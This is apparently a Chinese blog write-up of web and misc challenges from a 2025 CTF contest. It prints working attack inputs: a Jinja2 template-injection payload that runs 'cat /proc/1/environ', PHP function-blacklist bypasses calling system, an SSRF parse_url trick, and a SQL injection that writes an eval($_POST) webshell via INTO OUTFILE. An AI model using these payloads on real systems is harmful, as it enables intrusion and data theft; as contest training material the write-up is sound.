2025第一届轩辕杯Web全解

轩辕杯-2025

本来是奔着U盘去的,以为是新生赛,不多说了还是自己实力不行

轩辕杯1

image-20250601112104053

web题目还是比较基础的,misc的话脑洞不小,也许是做题太少了

wp

这里粘一下大佬的wp

不知道战队:

轩辕杯 2025 WP | Blog

南华大学卡布奇诺:

2025“轩辕杯“云盾砺剑 CTF挑战赛wp-CSDN博客

Misc全解佬:

2025第一届轩辕杯Misc详解 - Alexander17 - 博客园

web

flask

直接上fenjing就行,但是我直接读取/flag没结果,访问/proc/1/envriom出的

image-20250519090506086

提交表单完成,返回值为200,输入为{'name': "{{joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('so'[::-1])['p''open']('c''at /proc/1/environ')['read']()}}"},表单为{'action': '/', 'method': 'GET', 'inputs': {'name'}}
#GZCTF_FLAG=flag{0f0e6823-261f-4bf8-9170-dc770fde5326}
flag{1e07cef3-1334-4ba5-a2136e1f09a0585f}
GZCTF_TEAM_ID=321KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1KUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443HOME=/root"},

ezjs

全局搜索flag

image-20250601112710258

分数等于10.。。时向getflag.php发送post请求,请求体包含分数

image-20250601112848059

直接访问,分数默认为0

image-20250601112917643

post请求添加上分数后就会返回flag

ez_RCE

<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
    $disable_fun = array(
        "exec", "shell_exec", "system", "passthru", "proc_open", "show_source", 
        "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", 
        "escapeshellarg", "assert", "substr_replace", "call_user_func_array", 
        "call_user_func", "array_filter", "array_walk", "array_map", 
        "register_shutdown_function", "register_tick_function", "filter_var", 
        "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", 
        "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", 
        "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
    );
    
    $disable_fun = array_map('strtolower', $disable_fun);
    $a = strtolower($a);

    if (in_array($a, $disable_fun)) {
        echo "宝宝这对嘛,这不对噢";
        return false;
    }
    return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
    echo "看来第一层对你来说是小case<br>";
    if (is_numeric($num) && $num > 1234) {
        echo "还是有点实力的嘛<br>";
        if (isset($new) && isset($star)) {
            echo "看起来你遇到难关了哈哈<br>";
            $b = waf($new); 
            if ($b) { 
                call_user_func($b, $star); 
                echo "恭喜你,又成长了<br>";
            } 
        }
    }
}
?>

简单绕过后,限制了函数调用

非预期

使用\转义绕过即可

注意:要加在头部,不然会被当做字符串,不会进行转义

new=\system&star=cat /flag

image-20250601114912453

预期

当然使用waf外的函数也是可以的

new=readgzfile&star=/flag

image-20250601115222345

签到

首先是简单传参和修改cookie

image-20250610213913589

接着是前导字符串

image-20250610214023088

按照要求添加refer和post传参

<?php
error_reporting(0);

// 判断 Referer 是否符合
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

if (strpos($referer, 'secretcode') !== false) {
    // 进一步要求POST参数
    if (isset($_POST['key']) && $_POST['key'] === 'ctfpass') {
        echo file_get_contents('./xixi.txt');
    } else {
        echo "Referer对了,但是POST参数呢?";
    }
} else {
    echo "你缺少正确的Referer头~";
}
?>    

image-20250610214238958

第四关:不走寻常路
有些门,用传统的方法打不开。

是谁又头疼了啊?🛠️

小提示:
- 常规的 GET、POST 已经无能为力了,试试别的方式?🔄
- 身份也很关键,伪装得像 “identity=n1c3” 的人,才有机会通过。🕵️‍♂️

别局限于常规操作,灵活运用你的工具箱!

请换一种请求方式试试看?
提示:试试使用 HEAD 请求方法!

编写脚本实现head请求,伪造UA

image-20250610214429985

按照要求分析js代码

第五关:追寻真相
有些答案,藏在看不见的地方。

也许,源代码里藏着重要的线索?🔍

找到正确的 key,赢得进入最后决战的门票!


                JS源码(请仔细分析):


<script>
(function(){
    var a = ['E', 'l', 'W', '_', 'F', '3', 't', '0', 'C', 'C'];
    var order = [2, 5, 1, 8, 7, 0, 3, 9, 6, 4];
    var code = '';
    for (var i = 0; i < order.length; i++) {
        code += a[order[i]];
    }
    console.log("Your hidden key is:", code);
})();

</script>            

image-20250610215135788

直接在控制台执行就行,也可以自己算出来,接着传参就行了

image-20250610215202570

最后RCE黑名单,?cmd=nl /f*打印出flag

image-20250610215320773

ezssrf1.0

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

if ($url == null)
    die("Try to add ?url=xxxx.");

$x = parse_url($url);

if (!$x)
    die("(;_;)");

if ($x['host'] === null && $x['scheme'] === 'http') {
    echo ('Well, Going to ' . $url);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    echo ($result);
} else
    echo "(^-_-^)";

从$_GET['url']获取用户输入的URL。

使用parse_url($url)解析URL,提取协议(scheme)、主机(host)、路径(path)等。

检查条件:如果解析结果的host为空且scheme为http,则使用cURL发起请求并返回结果

如果条件不满足,输出(-_-),表示请求被拒绝。

非预期

正常URL格式为 scheme://[userinfo@]host/path

常规格式

http://127.0.0.1/flag 时,parse_url 会解析为以下组件:

  • scheme:http
  • host:127.0.0.1
  • path:/flag

为了使host为空,这里利用畸形URL,通过缺少//使得parse_url无法识别host,从而绕过检查。

PHP脚本接收url参数:http:duan@127.0.0.1/flag。

parse_url解析URL:

  • scheme = http
  • host = null
  • path = duan@127.0.0.1/flag

接着就能访问服务器本地的/flag文件

http://27.25.151.26:31349/?url=http:duan@127.0.0.1/flag

image-20250601120003114

读取FFFFF11111AAAAAggggg.php即可

预期

明明这个才是非预期,但是官方wp都写的是这个,那就当做预期吧

按理说是代码审计,反而成了信息收集,也许是我思维固化了,一见代码,就没有考虑了

dirsearch扫描发现/flag

image-20250601120547938

提示flag的位置,访问即可

ez_web1

后来才知道这个是非预期,预期解是群里一个大佬发的,jwt伪造,再ssti,我就不写了

非预期or预期

image-20250601122248181

进去是登录框,源码有提示

手测账密

fly123

123456789

先是三个页面,注意右边下拉显示还有内容

image-20250601122416505

最下方显示一个上传

image-20250601122457663

image-20250601122534698

上传不成功

注意到有token,jwt校验,但是没有key

返回先前页面发现有读取路径

image-20250601122657554

尝试读取文件成功,在proc下环境变量文件中找到flag

image-20250601122821490

ezsql1.0

sql注入不太会,这题没出,参照下边师傅的博客进行复现学习

2025“轩辕杯“云盾砺剑 CTF挑战赛wp-CSDN博客


空格,select都被办了

image-20250601123438373

image-20250601123500270

空格替换%09和/**/

seselectlect双写

?id=-1	union	seselectlect	1,'<?=eval($_POST[1]);?>',3	into	outfile	'/var/www/html/1.php'#

?id=-1%09union%09seselectlect%091,%27%3C?=eval($_POST[1]);?%3E%27,3%09into%09outfile%09%27/var/www/html/1.php%27#

利用写入权限写入一句话木马

image-20250601123958352

进行rce

image-20250601124319882

环境变量读不出来,连接查看是空的

image-20250601124518605

/*
 * db.sql 文件
 *
 * 用于初始化 MySQL 数据库,创建 'ctf' 和 'xuanyuanCTF' 两个数据库。
 * 'ctf' 包含一个 'users' 表及多条示例数据。
 * 'xuanyuanCTF' 包含一个信息表,含 title 和 content 字段。
 */

-- 创建并使用 ctf 数据库
CREATE DATABASE IF NOT EXISTS ctf;
USE ctf;

-- 创建 'users' 表
CREATE TABLE IF NOT EXISTS users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(300) NOT NULL,
    password VARCHAR(300) NOT NULL
);

-- 插入多条用户数据
INSERT INTO users (username, password) VALUES
    ('admin', 'SuperSecureP@ssw0rd!'),
    ('user1', 'P@ssword123'),
    ('guest', 'guest1234'),
    ('ctf_player', 'fl4g_hunt3r'),
    ('root', 'toor!@#'),
    ('alice', 'alicePass1'),
    ('bob', 'bobSecure2'),
    ('charlie', 'charliePwd3'),
    ('dave', 'daveKey4'),
    ('eve', 'eveAccess5'),
    ('frank', 'frankEntry6'),
    ('grace', 'graceLogin7'),
    ('heidi', 'heidiSafe8'),
    ('ivan', 'ivanAuth9'),
    ('judy', 'judyPwd10'),
    ('mallory', 'malloryKey11'),
    ('nathan', 'nathanSecure12'),
    ('olivia', 'oliviaLock13'),
    ('peggy', 'peggyOpen14'),
    ('quentin', 'quentinSafe15'),
    ('ruth', 'ruthPass16'),
    ('sybil', 'sybilSecret17'),
    ('trent', 'trentLogin18'),
    ('victor', 'victorPwd19'),
    ('wendy', 'wendyKey20');

-- 创建并使用 xuanyuanCTF 数据库
CREATE DATABASE IF NOT EXISTS xuanyuanCTF;
USE xuanyuanCTF;

-- 创建一个包含 id, title, content 字段的表
CREATE TABLE IF NOT EXISTS info (
    id INT AUTO_INCREMENT PRIMARY KEY,
    title VARCHAR(255) NOT NULL,
    content TEXT NOT NULL
);

-- 插入第一条数据
INSERT INTO info (title, content) VALUES
    ('F1AG', 'ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99');

var下有个db文件

解码得到flag

flag{欢迎来到轩辕杯}

misc

HackMe

非预期

题目给的是exe,ida分析看到py信息,将exe解包为pyc直降就能看到明文

image-20250519091855897

 Nz-flag{Cysay_terminal_game_hacked_successfully}

预期

按照提示一步一步继续就行

image-20250601114334128

哇哇哇瓦

image-20250519132138412

flag{Val0rant_1s_th3_

一大碗冰粉

你是大黑客,这次你入侵了icej3lly的个人电脑,准备跟踪他的行踪,但是icej3lly好像并不害怕⌓‿⌓,还跟你玩起了加密游戏,甚至把提示都给你了ƪ(˘⌣˘)ʃ。但当你正在查看桌面上的秘密文件和提示时突然断电了,只留下了这个内存镜像,多疑的你一定会有所发现吧˃ʍ˂

通过网盘分享的文件:whereicej3lly.raw 链接: https://pan.baidu.com/s/1qp84Tys0n1BXh9ObISLCcA?pwd=GAME 提取码: GAME --来自百度网盘超级会员v4的分享

将镜像文件放入R-Studio进行分析

桌面找到hint.txt

提示是明文攻击

image-20250526155737599

接着寻找加密zip

找到文件进行修复

image-20250526155929932

对secret.zip进行明文攻击

获取一个

image-20250526155506020

隐藏的邀请

先Hex后Xor,自动转图片

image-20250526153603893

不知道是什么码,去Lunatic BLOG|

博客学习就行

image-20250526153837190

保存后,DataMatrix在线扫描

image-20250526153521583

posted @ 2025-06-01 13:10  F0T0ne  阅读(68)  评论(0)    收藏  举报